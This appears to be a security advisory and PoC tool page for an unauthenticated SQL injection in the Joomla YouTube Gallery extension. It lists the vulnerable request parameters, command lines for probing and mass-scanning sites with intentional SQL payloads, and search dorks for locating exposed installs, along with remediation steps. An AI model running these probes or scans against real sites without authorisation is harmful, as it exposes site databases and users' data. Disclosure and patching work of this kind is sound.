CVE-2026-94130 — Joomla YouTube Gallery Unauthenticated SQL Injection

Overview

CVE-2026-94130 affects YouTube Gallery for Joomla (com_youtubegallery, joomlaboat.com). Versions 1.0.0 through 5.7.2 allow unauthenticated SQL injection in video search and sorting handling. Attackers can inject SQL into read queries without a Joomla login. CVSS 4.0 9.3 Critical. Fixed in 5.7.3 (Sep 2026). Assigner: Joomla CNA.

| | | |---|---| | Product | YouTube Gallery extension for Joomla | | Component | com_youtubegallery | | Affected | 1.0.0 – 5.7.2 | | Fixed | 5.7.3 | | Vector | Public gallery / yg_api=1 JSON API |

Open source PoC: https://github.com/murrez/CVE-2026-94130

Attack surface

Typical request shape (valid listid + themeid required):

/index.php?option=com_youtubegallery&view=youtubegallery&listid=1&themeid=1&yg_api=1
&ygsearchfields=es_title&ygsearchquery=...

Vulnerable parameters include ygsearchfields, ygsearchquery, and sort-related GET parameters on the public API.

Bundled tool (Python 3)

Member download matches the GitHub repository (poc.py):

• check — Joomla + component fingerprint, API reachability.
• check --sqli-probe — Intentional SQL payloads (incl. time-based signals) with --listid / --themeid.
• --scan-ids — Discover usable list/theme IDs before probing.
• Mass check — --list targets.txt -j N for sites under written scope.

pip install -r requirements.txt
python poc.py -u https://joomla.example --mode check
python poc.py -u https://joomla.example --mode check --sqli-probe --listid 1 --themeid 1
python poc.py -u https://joomla.example --mode check --scan-ids --sqli-probe --delay 5
python poc.py --list targets.example.txt --mode check -j 10 --sqli-probe

Asset discovery

body="com_youtubegallery"
inurl:"option=com_youtubegallery"

Impact

Successful SQL injection can expose Joomla database contents (users, configuration, content metadata) and support further compromise depending on DB privileges and installed extensions.

Remediation

1. Upgrade YouTube Gallery to 5.7.3 or newer from the vendor.
2. Remove or disable the component if unused.
3. Restrict public gallery/API exposure where possible until patched.

Legal and ethical use

--sqli-probe and exploit modes send intentional SQL payloads (including SLEEP). Test only Joomla sites you own or have explicit written permission to assess.

References

• NVD — CVE-2026-94130
• GitHub PoC — murrez/CVE-2026-94130